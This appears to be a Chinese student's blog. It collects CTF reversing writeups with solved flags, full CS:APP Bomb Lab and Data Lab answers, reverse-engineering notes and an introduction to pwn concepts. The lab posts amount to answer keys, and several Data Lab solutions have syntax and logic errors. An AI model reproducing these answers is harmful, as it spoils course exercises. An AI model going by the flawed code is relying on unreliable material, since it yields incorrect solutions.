key = [0xD2,0x51,0xD2,0x34,0xD7,0x1B,0xE5,0x08,0xA0,0x13,0xCE,0x11,0xF0,0x13,0xA2,0x56,0xA5,0x3F,0xF8,0x13,0xCE,0x11,0xF2,0x0A,0xFD,0x24,0xE6,0x07,0xC2,0x1D]
for i in range(len(key)):
if((i&1)!=0):
key[i] ^= 0x60
else:
key[i] ^= 0x91
for i in range(len(key)):
key[i] = chr(key[i])
key = ''.join(key)
print(key)

没看出是base64的时候,想过根据加密函数的样子来逆推导,考虑到或运算的不可逆性,采用了走迷宫式的算法,用ascii码0~128来模拟129条路径,每个加密数据为一个节点,走出一条明文,经过几次修改代码,但很可惜失败了;

main

用输入的字符串与生成好的String1运算得到密文v3,之后使用crpyto函数打印出v3的hex值与字符串比较;

在检查sub_7FF7798A12A0的时候,发现了一个常数表:

box

对应着标准的aes加密表;

比较字符串有64个字节,打印了32个16进制数,而aes加密的长度是16个16进制数,所以后面的是未加密的数据,而前16个是加密的16进制数据,对前面32字节hex进行解密得到数据:

68 78 62 32 30 31 38 7B 38 35 33 65 63 66 65 35

数据很正常,有数字有字母,还有 7B ( { )应该是flag没错了;

之后加上后32位hex得到flag:hxb2018{853ecfe52aeb60989e8d3351}

flag

AES

不懂AES之前根本就不明白它的内部算法;所以去学习了一下最简单的AES加密;

即为16字节明文配合16字节密钥运算得暗文;

分为很多个步骤,总体的思路便是矩阵运算,让明文和密钥都构成4*4的矩阵;

明文矩阵与密钥矩阵对应异或得到矩阵0;

密钥矩阵用自身产生很多个轮密钥,特点在于是列的运算;且关于列是从0开始计算,且若列是4的倍数,就会复杂一些,动用到BOX里的数据;

②.⑤ 矩阵0对照BOX表里的值进行替换成为矩阵1;

**③ **矩阵1进行hang行变换,第一行左移0字节,第二行左移1字节,第三行左移2字节,第四行左移3字节,得到矩阵2;

矩阵2左乘一个规定好的特殊矩阵,变为矩阵3;

矩阵3与轮密钥运算得到暗文;

循环9次执行 ②.⑤ ~ ⑤ ,每次的轮密钥不同;

最后执行一遍 ②.⑤,③和⑤(不执行④),得到总共的暗文;

main

input和output和i都是全局变量;

使用cry1函数让input变换为output;

cry1

变换的规则就是依次读取input的第a1位,然后继续调用cry1,不断读取64个数据;

按照这个思路,output增长是不会有变换的,i一直都会顺着顺序变大,而读取input会有些许顺序;

1
2
3
4
//跟踪数据
a1 0 1 3 7 15 31 63 32 16 33 34
v1 0 1 2 3 4 5 6 7
return 2 4 8 16 32 64 128 x-

但是没关系,因为i顺着变大,所以只需要将赋值顺序变一下,输入比较的数据,不就可以得到输入的数据了吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>

char output[64] = {0};
char input[64] = {0};
int i = 0;

int cry1(int a1)
{
int v1;
int result = 0;
if(a1 <= 63)
{
v1 = i++;
input[a1] = output[v1]; //交换
cry1(2*a1+1);
return cry1(2*(a1+1));
}
return result;
}


int main()
{
scanf("%s",output);
cry1(0);
printf("%s",input);
return 0;
}

按着思路试了一下,果然用得到的数据就能进入if判断框了,下面的if同理;

得到的flag:nctf{bc2e3b4c2eb03258c5102bf9de77f57dddad9edb70c6c20febc01773e5d81947}

genshin

阅读全文
Bomb_Lab

bomb lab 的实验挺好玩的,实质上就是逆向分析,然后找到正确的输入,错误的输入会导致跳转”炸弹函数”,就会导致程序结束;

规则:

根据提示,我们不能调试,但可以使用逆向工程解决炸弹;

输入正确的字符串以拆除炸弹;

源码中没有什么有用信息,不过有提示,从代码中可看出有6个需要解决的炸弹;

main

进入IDA分析后,可以发现函数栏有main以及 phase_1 ~ phase_6;

在puts函数之前的判断函数与破解炸弹没什么大关系,所以直接跳过;

main

直接分析phase;(终于找到图床了)

Phase_1

首先进入phase_1,只有6条汇编码;

phase_1汇编

首先进栈,然后设置对比字符串esi,呼叫函数比较两个值,将返回值传给eax,然后不是0的时候就爆炸;

所以只需要输入“加拿大的边境问题”就可以解除炸弹1;

“Border relations with Canada have never been better.”

Phase_2

phase_2

其实phase2的汇编也比较简单,但这里用伪代码能截图直接截满,可以更好地说明;

在read six number 里会有一个判断爆炸,之后&v3的判断和&v4的判断,只要满足这三个条件,就行了,那就来看看它们的条件是什么;

readsix

可以发现三个判断和&v4,&v3有关系,&v4和&v3是存在于栈中,在汇编码中,把rsp指向的地址传送给了rsi(输入数据),意思就是使输入的数据入栈了;

汇编

那很明显是让输入数据的某个部分成为了&v4和&v3,然后去判断;

①read six number 里让输入6个数字都正确就继续,否则炸;

②v3(rsp)指向的值需要是1,否则爆炸,而rsp指向的是rsi,第一个数据,所以第一个数必须是1;

③v4(rsp+4)的上一个数据乘上2需要和v4相同,不然爆炸,所以1的后面是2,2的后面是4,等等;

所以只需要输入 1 2 4 8 16 32;6个数字就可以解除炸弹2;

Phase_3

phase3

开始也是读入2个数据判断(read two number),正确就通过,否则就炸;

输入进去的两个数字会成为v8(rsp+8h),v9(rsp+Ch)的存在,而往后是一个switch选择,根据v8选择;

switch

之后从switch中的数据里与v9比较,如果不同,炸弹爆炸;

cmp

所以我直接写一个最简单的就是 0 207 就解决炸弹3;

simple

Phase_4

phase4

一开始也同phase2一样,判断了输入的数据个数,需要是2个,不然就会跳转爆炸;紧接着比较v8(rsp+8h)和E(14),如果大于了14,也会导致跳转爆炸;

在phase4的后面一部分,会用func4函数运算result,之后result与v9(rsp+Ch)进行逻辑或运算要使得结果为0,不然爆炸;

而func4函数如图所示:

func4

phase4中运用func函数的最开始的参数是 v8 ,0,14;可以看出这是个递归函数,而且越递越复杂;

v3第一轮就应该是7;

它比较的就是7和v8了,但它漏了v8=7的时候,所以当v8=7的时候,就不会调用递归了,直接让result=0;

所以我们让输入成为 7 0 就可以解除第四炸弹;

Phase_5

phase5

这道属于baby级别的逆向CTF了;

输入的字符串需要为6的长度,之后用box里的字典来运算出v3的值,之后比较v3和”flyers”字符串,如果不满足以上情况,炸弹爆炸;

box

那思路就很简单了,就是解方程,比如第一个会是f,那么让f = box[input[1] & 0xF],f在box里的下标是9,所以 9 = x & 0xF,我们求6次这样的x就行了;

最后得出输入数据为:IONEFG,解决第五炸弹;

Phase_6

while1

这是进入phase6之后的代码;也是需要读入6个正确数据,然后进行第一个循环,这个循环要求每个输入的数字小于等于6,且每个数字都不相等;

while2

v16是rsp+18h,而我们输入了24个字节的数据;所以v16代表我们输入的字符,这个循环是让输入的数据成为每个对应位置的自己求负然后加上7,ascii码对应时退出,看起来像是在把数据颠倒,因为数只能是 0 1 2 3 4 5 6;

while3

第三个循环判断每个数据,之后做出不同的操作;如果大于1,就会让node1里的第v8个下标的值成为v6,不然v6=node1[0];

之后让v17[2*i] = v6,v17是rsp+20h;v17就对应了node1~node6;

while4

v18是rsp+28h;也就是v17的第二个数据;v19是rsp+50h;

第一个循环是挪位,然后当v10与v19相等时退出;

第二个循环是v9的后一个数必须小于前一个数,不然爆炸;v9就为node系列;

然后就IDA突发恶疾把数据定义成命令了,然后就看不懂了;

之后解除定义后,让node按序排列就成了;

顺序是node3,node4,node5,node6,node1,node2;

输入便是4 3 2 1 6 5;

deal

总结

相较于data lab,这个实验更简单一点,可能是因为本身就是逆向学的原因,做了这个东西过后对汇编理解更深刻,以及栈的处理,而且觉得逆向并不困难,困难的是不认识的加密形式和一开始看不懂的垃圾代码,如果能够多看多做,学会更多的加密方式和认识更多的垃圾代码,根据数据和逻辑便能够猜出一个大概,然后就是不断地去调试了;

继续加油⑧~

genshin

阅读全文
逆向工程核心原理复现01

第一章的内容其实很基础简单,通过第一章学到的东西就是栈和栈帧,以及根据寄存器不同的功能,如何查找数据;

介绍了一系列的逆向手法,以及使用例子讲解如何去查看,了解了什么是API;

这里来复现一下:

逆向手法

① 最常见的就是字符串搜索定位,和数据搜索定位;

② 紧接着就是使用断点不断地去调试,缩小范围,查找功能代码;

③ 修改可疑的语段,当然这些语段一般都是跳转语段,然后去查看现有的功能,如果功能异常,就说明找到了入口;

④ 最需要注意的便是记录地址,以及寄存器的指向,通过栈回溯的功能也可以发掘可疑函数;

⑤ 构建思维,推测编码者的函数运用思路,有一个好的和广的思路才会方便逆向推导(不然就只能硬调);

⑥ API 中文意思就是入口,所谓的API断点,其实就是跳转的地点设置断点去测试,修改;

寄存器

以32位为例子:

① 通用寄存器有8个:

EAX:一般处理操作数的结果数据;

EBX:一般存放基址 (Data段中的数据指针);

ECX:字符串和循环的累计计数;

EDX:I / O 指针;

ESI与EDI:处理操作数据和字符串;

ESP:栈顶指针,始终指向栈顶;

EBP:指向栈帧的返回处;

② 段寄存器有6个:

CS - Code 代码段

DS - Data 数据段

SS - Stack 栈段

ES,FS,GS - Extra 格外数据段

③ 状态控制寄存器1个:

里面一个字节就是一个控制符,cmp,test指令会改变的就是其中的一些字节;

④指针寄存器1个:

EIP:存放指针;

有了寄存器基础,就知道每步执行之后,可以查看ESP来观察栈的情况,查看EBP观察返回处和栈顶的距离,而EAX一般存放的是返回的值;

栈和栈帧

① 栈是一种数据结构,栈即为客栈,只有一个大门,所以先进的人被后进的人堵住,呈现出一种先进后出的情况;

② 在一个程序中,栈的体现方式是一个段,也是一个字节数组,也是内存的一部分;

一般运用栈便是查看栈中的内存,可以往栈中放各种各样的东西,但因为它先进后出的特性,有还原性,在内存中,栈顶往地址小的方向扩展;

就比如,调用一个函数,先入栈的是返回地址,然后存放不下的变量再入栈;当函数结束后,清空变量,并把返回地址送给PC寄存器,栈恢复,继续执行调用完函数的代码;

③ 栈帧存在于栈中,栈类似于视频,它也会有 “帧率” ;一个栈就是一个视频时长条,不同的时段有不同的剪辑和内容,同样,栈中的不同段有着不同的功能,比如有存储主函数的变量区域,和调用的函数区域,一般来讲,一个函数就是栈中的一帧,调用函数区域可以叫栈帧,主函数区域也是另一个栈帧;

④ 添加一个小内容,PC寻址规则;jmp 后面的编码加上下一个地址即为跳转地址;

总结

① 也许是这周看了很多的内容,但是做不起带嘲讽名词的 normal 题,我会觉得学习方法有问题;但其实还好,因为学的是基础知识,应该用Bomb Lab来测验,而normal题里的Va_List我也是第一次接触,所以算不上什么很大的问题,慢慢去做去看WP,就能学好了;

② Pwn方向也多少会一些基础操作了,根据危险函数的特性来栈溢出填充返回地址,来进入shell,下个星期可以来试着解决ret2xxx;

③ 在第一章最有意思也最麻烦的地方就是跟踪数据和跳转去寻找答案,这一点很类似于破解游戏,dll注入过后也是这样去查找,用架空法,最终找到实际执行的那句代码,以及冷却条件;最近也打算用游戏来练练手;

阅读全文
Pwnの前瞻

1.简单の概述Pwn是什么

Pwn是一个动作,攻击服务器或进程的一个动作,针对的目标也就是服务器和运行中的软件;

这些服务器和软件中必然需要存在着二进制漏洞等待挖掘;

一但找到漏洞并写出恶意代码,使目标运行,对方就可出现一些特殊的情况,从而拿到控制权限以及夺旗战中的旗帜;

要分析并挖掘二进制漏洞,必然少不了逆向工程和二进制知识的加持;

2.Pwn的前置知识:文件构架&程序执行

需要从一个服务器或进程中找到漏洞就需要了解软件的框架,软件的结构层次分为不同的功能;

两个名词:节,会在磁盘中的软件里出现,它的作用则是分配不同种类和作用的代码块和文本;

段,可以理解为节的集合,不同的节对应不同的段,段存在于进程中,作用则是分配不同权限的代码块和文本(权限相同的节在一个段中);

对应的,磁盘中的软件和内存中的进程之间因为段和节的关系有着类似的结构,不过也有些许不同:进程中还包含了除原软件外的系统共享进程,比如内核;

①可执行文件

Windows中的PE(portable executable)

.exe 常见执行文件; .dll 动态链接库; .lib 静态链接库;

Linux中的ELF(executable and linkable format)

.out 执行文件; .so 动态链接库; .a 静态链接库;

一般人为的函数和功能都放在动态链接库中;

②抽象的虚拟内存

虚拟内存中装载的也就是一个可执行程序运行起来后的进程,相当于把CPU和主存之间的关系抽象为了一个”磁盘“装载运行中的文件;其次,装载内存中的东西又过于晦涩,不方便人观察,而虚拟内存的概念就可以很好的等效成进程的人为观察视角,所以会有这样一个概念,手机里称为运存;

每个进程的最小单位是字节,每个字节则是进程的一个地址,所以又把进程称之为一个庞大的字节数组;

③C代码在进程中的划分

未初始化全局变量会被划分到一个叫做Bss的区域中;

只读数据(如字符串,声明函数)被划分到Text段区域中;

可改(写权限)全局变量被划分到Data段区域中;

局部变量被划分到栈区域中;malloc申请空间是来自于堆;

阅读全文
Data_Lab

每道题都有约束的规则,具体内容在代码块里;

1.bitXor

运算两数异或,不使用 ^;

代码:

1
2
3
4
5
6
7
8
9
10
11
/* 
* bitXor - x^y using only ~ and &
* Example: bitXor(4, 5) = 1
* Legal ops: ~ &
* Max ops: 14
* Rating: 1
*/
int bitXor(int x, int y) {
int result = ~(~x&~y)&~(x&y)
return result;
}

二进制异或是相同0或相同1就变0,而不同为0或1就变1;

让原来不同的地方变为相同,同的地方变为不同,再用 & 运算就可得到该值;

2.tmin

返回最小的二进制补码整数;

代码:

1
2
3
4
5
6
7
8
9
10
/* 
* tmin - return minimum two's complement integer
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 4
* Rating: 1
*/
int tmin(void) {
int result = 0x80<<24;
return result;
}

最小二进制补码整数是一个负数,补码规则最高位为1表示负数,则最小的负数是10000000 00000000 00000000 0000000;也即是 0x80 00 00 00;

3.isTmax

返回1,如果是二进制补码最大值,不然返回0;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
* isTmax - returns 1 if x is the maximum, two's complement number,
* and 0 otherwise
* Legal ops: ! ~ & ^ | +
* Max ops: 10
* Rating: 1
*/
int isTmax(int x) {
int result = x + x + 1;
result = ~result;
result = result + !(x + 1) //排除-1特殊
return !result;
}

最大值是开头为0,后面全为1;

返回的需要是0,1,那应该想到用逻辑非 !,当为最大时是0,其他情况当然就为非0,倒置一下就变为输出1时最大,其他情况为0;

各个非0数 !都为0,所以需要位 ~ ,所以要使得0111…. 变为全0;

又因为溢出的效应,-1也有加1再加自己为全1的特点,所以来排除这种情况;

4.allOddBits

返回1,当所有奇数位为1时,否则返回0;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* 
* allOddBits - return 1 if all odd-numbered bits in word set to 1
* where bits are numbered from 0 (least significant) to 31 (most significant)
* Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 12
* Rating: 2
*/
int allOddBits(int x) {
int mask = 0xAA + (0xAA<<8);
mask = mask + (mask<<16); //32位10101010....
result = (x&mask)^mask;
return !result;
}

根据例子可以知道,位数从0开始计算,而不是1;

要使其奇数位全为1时(偶数位无关,则运算时把偶数全看为0),结果生成1,不难想到掩码;

最后用异或转换;

5.negate

返回x的负值;

代码:

1
2
3
4
5
6
7
8
9
10
11
/* 
* negate - return -x
* Example: negate(1) = -1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 5
* Rating: 2
*/
int negate(int x) {
result = ~x + 1;
return result;
}

取反加1求补码的补码;

6.isAsciiDigit

返回1,如果输入的时ascii中 ‘0’ ~ ‘9’ 的字符,否则返回0;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* 
* isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
* Example: isAsciiDigit(0x35) = 1.
* isAsciiDigit(0x3a) = 0.
* isAsciiDigit(0x05) = 0.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 15
* Rating: 3
*/
int isAsciiDigit(int x) {
int mini = 0x80<<24;
int min = (~0x2F + x) & mini; //正确时,min是0000...
int max = (~0x39 + x) & mini; //正确时,max是1000...
int result = (min^max)>>31;
result = ~result + 1;
return result;
}

用位级运算判断x是否在这个范围内;

已知~x + y(y小于等于x),该值为负数,而y大于x时,这个值是非负数;

因此约定两个范围数:0x2F,0x39;

结果如果在区间内,则两个算出的值必为 正数 与 负数,则返回值用符号位来计算,需要用到最小补码来&运算得到符号位;

注意移位是符号移位,最后得变一下;

7.conditional

实现三目运算 x ? y : z

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* 
* conditional - same as x ? y : z
* Example: conditional(2,4,5) = 4
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 16
* Rating: 3
*/
int conditional(int x, int y, int z) {
x = !x;
x = ~x + 1;
int result = (~x&y)|(x&z)
return result;
}

最后的结果是y,z中的值,根据前面题里的规律,可以想象让其中一个与全0&,另一个与全1&,再或,可以得到其中之一的结果,这个全0与全1就由x实现;

8.isLessOrEqual

如果x <= y 则返回1,否则返回0;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 
* isLessOrEqual - if x <= y then return 1, else return 0
* Example: isLessOrEqual(4,5) = 1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 24
* Rating: 3
*/
int isLessOrEqual(int x, int y) {
int r1 = (x>>31) & ~(y>>31); //是否x是负数,y是正数
r1 = !!r1;
int r2 = !((x>>31)^(y>>31)); //是否x,y同号
int r3 = (!(y + ~x + 1))>>31; //y-x的符号
r3 = !!r3;
int result = r1|(r2&r3);
return result;
}

比大小,先看符号,符号相同比差与0的大小;

9.logicalNeg

实现逻辑非且不使用 ! ;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* 
* logicalNeg - implement the ! operator, using all of
* the legal operators except !
* Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
* Legal ops: ~ & ^ | + << >>
* Max ops: 12
* Rating: 4
*/
int logicalNeg(int x) {
int result = ((~x+1)>>31)^(x>>31);
result = ~result + 1;
return result;
}

0的补码是自己,正数的补码是负数,负数的补码是正数;

根据符号的不同,用异或来判断是否不同,同为0(此时全为0),不同为非0(此时全为1);

再求补码一次让符号填充从0变0或者从-1变1;

10.howManyBits

求一个数用补码表示最少需要多少位;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* howManyBits - return the minimum number of bits required to represent x in
* two's complement
* Examples: howManyBits(12) = 5
* howManyBits(298) = 10
* howManyBits(-5) = 4
* howManyBits(0) = 1
* howManyBits(-1) = 1
* howManyBits(0x80000000) = 32
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 90
* Rating: 4
*/
int howManyBits(int x) {
x = x^(x>>31); //得到负数补码,正数不变
int A,B,C,D,E,F;
A = !!(x>>16)<<4; //看最高16位有无1,如果有,A为16;
x = x>>A; //如果上面成立,则消掉后面16位(后面的数字不讨论,折半讨论有1的区域)
B = !!(x>>8)<<3; //看原数据最高8位有无1,有则B为8;
x = x>>B; //成立则消掉后面8位(相当于总地消掉原数据后面24位)
C = !!(x>>4)<<2; //同理,直到遍历到1的准确位置,之后把记的数字加起来,就是需要表示的最小数量
x = x>>C;
D = !!(x>>2)<<1;
x = x>>D;
E = !!(x>>1);
x = x>>E;
F = x;
int result = A + B + C + D + E + F + 1; //+1表示符号位
return result;
}

这道题就是需要找这个数字二进制补码最高位为1的位数;

所以我们可以用位运算来模拟遍历,找最高位的1,可以一半一半地来找;

这里要思考正负数的问题:正就是最高位为1,但负数时最高位为0,统一一下,就设置个判断正负,让其全为找1;

11.floatScale2

求2乘一个浮点数;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* 
* floatScale2 - Return bit-level equivalent of expression 2*f for
* floating point argument f.
* Both the argument and result are passed as unsigned int's, but
* they are to be interpreted as the bit-level representation of
* single-precision floating point values.
* When argument is NaN, return argument
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
unsigned floatScale2(unsigned uf) {
int exp = (uf&0x7F800000)>>23; //求指数
if(exp==0) //无穷小和0的情况,返回乘2的值
return uf<<1|(!!(uf>>31));
if(exp==255) //无穷大和NaN的情况,返回原值(它们乘2等于本身)
return uf;
exp = exp + 1;
if(exp==255) //剩下的情况则是如果指数+1为255,那就返回原符号无穷大,否则返回指数加1后的原符号数
return 0x7F800000|(!!(uf>>31));
else
result = (exp<<23)|(uf&0x807FFFFF);
return result;
}

浮点数这块可以用if while这种判断了,那可以就可以更直接地区分无穷,NaN,0的情况;

无穷大和NaN的指数都是255,而无穷小和0的指数都是0;

12.floatFloat2Int(f)

将浮点数转换为整数;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* 
* floatFloat2Int - Return bit-level equivalent of expression (int) f
* for floating point argument f.
* Argument is passed as unsigned int, but
* it is to be interpreted as the bit-level representation of a
* single-precision floating point value.
* Anything out of range (including NaN and infinity) should return
* 0x80000000u.
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
int floatFloat2Int(unsigned uf) {
int exp = (uf&0x7F800000)>>23;
int frac = (uf&0x007FFFFF)|0x00800000; //或上0x00800000是为了加上省掉的1
if((exp<127)||(!uf)) return 0; //特殊情况
if(exp>158) return 0x80000000u; //指数大于31+127
if(exp>150) frac <<= (exp-150); //把小数转换成整数
else frac >>= (150-exp);
if(!((frac>>31)^(uf>>31))) return frac; //符号相同
else if(frac>>31) return 0x80000000u; //原符号为正溢出
else return ~frac+1; //原负数情况
}

先想想溢出的情况:指数大于了31+127,或者原来的符号是正,变换后变成了负;

另一种特殊情况是:原来的数字是小数(也就是指数小于0+127)或者0,则直接返回0;

原来的符号是负,变换后为正,就求一次补码;

其他的就是正常返回变换过后的值就行了;

13.floatPower2(x)

求浮点2的x次幂;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* 
* floatPower2 - Return bit-level equivalent of the expression 2.0^x
* (2.0 raised to the power x) for any 32-bit integer x.
*
* The unsigned value that is returned should have the identical bit
* representation as the single-precision floating-point number 2.0^x.
* If the result is too small to be represented as a denorm, return
* 0. If too large, return +INF.
*
* Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while
* Max ops: 30
* Rating: 4
*/
unsigned floatPower2(int x) {
int exp = x + 127;
if(exp<=0) return 0;
if(exp>=255) return 0xFF<<23;
return exp<<23;
}

2的几次幂只需要在指数上加几次就行了,且题目上说太小就返回0,太大就返回INF;

那么意思就为无穷大和NaN返回INF,无穷小返回0;

总结

实验题是学习内容的一个运用总和,所以必须要自己动手做,做不来的时候就回头去翻书,看看哪里没有理解到位;

这也反着衬托出学习的效率,所以应该思考如何去提高看书吸收的内容?是否可以看慢一点,学地更好一点呢?

需要归纳这些解题的思路,当以后遇到这类数字问题的时候,可以很快地反应过来进行解决;

阅读全文